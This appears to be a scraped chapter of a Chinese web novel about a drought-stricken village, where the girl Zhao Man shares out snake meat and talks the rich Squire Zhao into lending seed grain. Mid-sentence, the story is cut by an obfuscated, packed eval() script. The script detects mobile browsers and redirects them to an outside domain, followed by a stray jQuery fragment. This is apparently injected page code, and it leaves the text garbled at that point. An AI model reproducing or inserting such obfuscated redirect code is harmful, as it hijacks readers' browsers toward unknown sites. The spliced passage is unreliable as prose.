天朗气清,灼灼骄阳下,衣衫褴褛的众人排排坐,目光炯炯有神,等着赵满给他们分肉,这是三年来他们唯一一次见到这么多肉。
“这么老长一条蛇,就算分个二十来份,每家也能分不少吧。”
赵昌辉看在眼里馋在心里,人还坐着,魂已经飞到了蛇肉上,现如今,眼前这条大蛇不再是他们害怕的庞然大物,而是能填饱肚子的口粮!
关键这是肉,他都多久没吃肉了?
他儿子赵勇蹲在旁边,眼中是毫不掩饰的喜悦,“咱家可是出了大力气的,这次绝对能分到不少,说不定能一顿吃个饱!”十来岁的大小伙子正是长身体的时候,每天饿的抓心挠肺,现在是终于要见到吃饱的曙光,简直兴奋的坐不住,恨不得站起来跑两圈。
还没等他畅想完,蒲扇般的大巴掌落在他脑袋上,“你个臭小子,还想一顿吃到饱不成?这是要留着慢慢吃的!咱家这半个月就靠这蛇肉,你倒是想得美,还放开肚皮吃,你咋不想上天?”
梦想一朝幻灭,赵勇整个人都萎靡不振,“爹啊!我就想吃顿好的怎么就这么难,再怎么说我也是出了大力气的,那蛇凶得要吃人我都冲上去,怎么着也得让我吃饱点吧?”
赵昌辉当作耳旁风,目不斜视,视线紧紧盯着赵满和她手里的刀子,无情戳破儿子的美梦,“不行,要是任你吃,咱家三顿就吃没了,你给我省着点。”
赵满在众人热烈的目光下一丝不苟的分蛇肉,锋利的匕首又快又狠,轻而易举便划分好一段一顿。
“大哥,村子里所有人家都叫齐了吗?”
赵大田在一旁帮忙,闻言点头,“我刚刚点过,除了赵老爷家都到齐了。”
“好,那便开始。”赵满宣布道。
井然有序的队伍快速前进,每户拿到蛇肉的人家无不是兴高采烈,赵小井瘦瘦的胳膊捧着一块蛇肉无比珍惜,走起路来一摇一晃,但谨记着奶奶的嘱咐,走的很稳。
回头看着还在忙活的赵满,轻声说了句谢谢。
他家里就剩他和奶奶,他还小,奶奶卧病在床,派不上什么大用场,本来以为杀蛇轮不上他们,自然蛇肉也分不到他们家,但赵满却给他和奶奶找了个照顾孩子的活计,让他们也能分一块蛇肉,既不是直接施舍让其他花力气的人不满,也没有任由他们自身自灭。
赵小井捧着肉慢慢走着,每一步都走的很稳。
笃笃笃!
“谁啊,这个点过来?”赵全赶紧开门,一见是让老爷都吃亏的赵满,本来面无表情的脸瞬间条件反射扬起笑脸,“原是阿满小姐,是有什么事?”
赵满笑着扬起手中的包裹,“来给赵老爷送东西,他可是出了大力气的,咱不能委屈功臣,这不,那边刚一忙完我就亲自过来了。”
赵得福听见动静过来,视线移到她手里拿着的破破烂烂的包袱,嘴角抽了抽。
他家下人都不穿这么破烂的衣裳!
“蛇牙和蛇胆都在这儿,知道老爷不缺吃的,便没给你分肉,但这蛇胆可是好东西,这么大一块,想必药铺出的价钱不会太少。”
赵得福眼皮跳了跳,总觉得面前嬉皮笑脸的少女没安好心,但仍然示意赵全接过包袱。
这是他应得的,为什么不收?就这些东西说不定还抵不了他送出去的呢!
赵满宝贝的摸摸锋利的匕首,思考半天,还是想留下来,“赵老爷,这把匕首我看与我颇为投缘,我甚是喜爱,要不就当我欠你一个人情?”
赵得福险些气了个倒仰,人情,她一个十岁的小娃娃人情值几个钱!这把匕首可是他当年从应天府带回来的,珍爱异常,当时送出去也只是为杀蛇上一层保险,可哪曾想到送出去就回不来了!
赵满也不知为何有一瞬间的心虚,好像自己真变成了个强买强卖的土匪,还是空有一张嘴画饼不付钱的那种。
她不能真变成个强盗吧?
应该不能,她这么温柔善良、善解人意,哪会不讲道理?
思及此,赵满放缓声音,“赵老爷,还想跟您商量个事,您看啊,这如今干旱结束,大家伙儿也该收拾收拾种粮食,奈何这家家户户都没有余粮做种子,您是大户,能不能先借一点给大家做种子,等来年收获,肯定连本带利还你。”
这是真土匪吧?
赵全啧啧赞叹,身体却极为快速的率先扶住老爷,防止他真被气绝倒地。
赵得福只觉血液逆流,疯狂上涌,冲的他心口好似一团火烧,恨不得喷出来将面前这个小王八蛋烧的灰飞烟灭!
“你、你这个——”
“哎呀赵老爷,我知道我这是说您心坎里,但您也不必这般着急夸我,这样,我先回去告诉大家伙儿好消息,葫芦村上下肯定对您感恩戴德,明天一早大家会排队来借粮,有我在,保证不敢有闹事的,这你放心,那我就先回去了啊,我慢走,您就别送了。”
眼看着她笑眯眯离开,赵得福两眼一翻,晕了过去。
“老、老爷,快来人啊!老爷气晕了!”
听见身后兵荒马乱的动静,赵满幽幽叹了口气,她也不想的啊,能做个好人谁愿意当讨嫌的坏人。
但眼看着短时间凑不到粮种,那她可不得打大户的注意吗?
不过,换个角度思考,她这也算是为赵得福积福,取这么个名,可不得积福吗?要不然好好的凭啥他得福,她这是做好人好事!
想通了这点,赵满顿时心情舒畅无比,世界真是没有比她再好的人了!
哎,她真是个大善人!
“爹,您醒醒,爹,你没事吧?这赵满简直欺人太甚!红口白牙就要张嘴讨要,和那乞儿有什么区别,我非得去骂她一顿,否则难解我心头之恨!”
眼见着老父亲被活生生气晕,赵黎升越发愤怒,恨不得立时就去找她理论。
赵得福人还晕乎着,却反手抓住了儿子手腕,恨铁不成钢,“去什么去!动动你的猪脑子想想,你要是去和她吵起来葫芦村的其他人会怎么想?”
“我管他怎么想!与我何干?”
赵得福恨不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534071|186465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得把这蠢儿子的脑袋敲个大洞,他们全家的聪明才智竟然全在他和他大孙子赵元铮身上吗?
“你个逆子,给我回来,话已经说出去,要是明天一早不给,你猜这葫芦村的人会不会把我们家给踏平!”
三年干旱,民不聊生,世道已经坏了!
前些年他还外出亲自做生意,可却亲眼目睹一个镇子上的大户被流民和活不下去的人抢劫一空,抢劫不说,他们还要人命啊!
这葫芦村虽说地方小,但好歹民风淳朴,这几年再难也没有打他家的主意,他不愿意走也是因为这点,贸贸然出去谁知道会不会再遇上那打家劫舍的事。
短短半刻钟,赵得福好似年老了许多。
“黎升,你去清点粮种,明天一早给他们。”
这赵满不是个简单人物,既然开了口就不会轻易放弃,与其多生事端,还不如此刻结个善缘。
“爹!”赵黎升愤怒又不解,“为什么啊?”
“别再废话,快去,怎么,老子我使唤不上你了?”
赵黎升气了半晌,最终还是没拗过老父亲,拂袖而去。
儿子怒气冲冲的背影赵得福没有在意,一双充满阅历的眼睛默默注视窗外升起的月亮。
“这葫芦村,是要变了啊……”
*
第二天一大早,赵得福家门口喧闹异常,大门前排了长长的队伍,赵满站在最上头维持秩序。
她帮着葫芦村众人向赵得福借粮,一是不忍心看着这么多人明明有机会活着却只能等死,二是一个村子里不患寡而患不均,赵得福家不算,村子里大部分人家条件差不多,都一样的差,但要是有一家有了粮种,难免不会有人起歹心,她不想考验人性,也不愿意看着原本平和的小村子再起纷争。
“都别急啊,都别急,人人都有份,但是我丑话说前头,每户只能借够播种的粮种,要是敢多拿,那就别怪我没把丑话说前头!”
赵昌辉格外大声,“阿满丫头放心!我们都听你的,绝不多拿一粒粮食,赵老爷能借咱种子已是大发善心,咱不能让善人心寒,大家伙说是不是啊!”
“对,没错!”
“咱绝不多拿!”
此起彼伏承诺的声音格外响亮,赵得福脸色好了不少,笑眯眯俯视众人,抬手往下压,“好好好,我赵得福也是葫芦村人,生于此长于此,实在不忍心看着乡亲们无粮可种,这也是我应该做的,诸位开始借粮吧!”他大手一挥,显得格外豪迈。
赵满站在旁边笑着看他装。
小老头怪能演啊,昨天听见这事可是差点没气死,这才一个晚上,就变态度了?
不得不说,高手在民间,她都想给这位民间艺术家鼓掌。
赵得福不经意间转身,瞥见了赵满眼里的揶揄,笑意瞬间僵在嘴角。
真是奇怪了,一个不过十岁的女孩,两个她加起来都不一定有他小孙子胖,但为什么看见她,他心里这么怂呢?
一定是这丫头太阴了!
绝对是!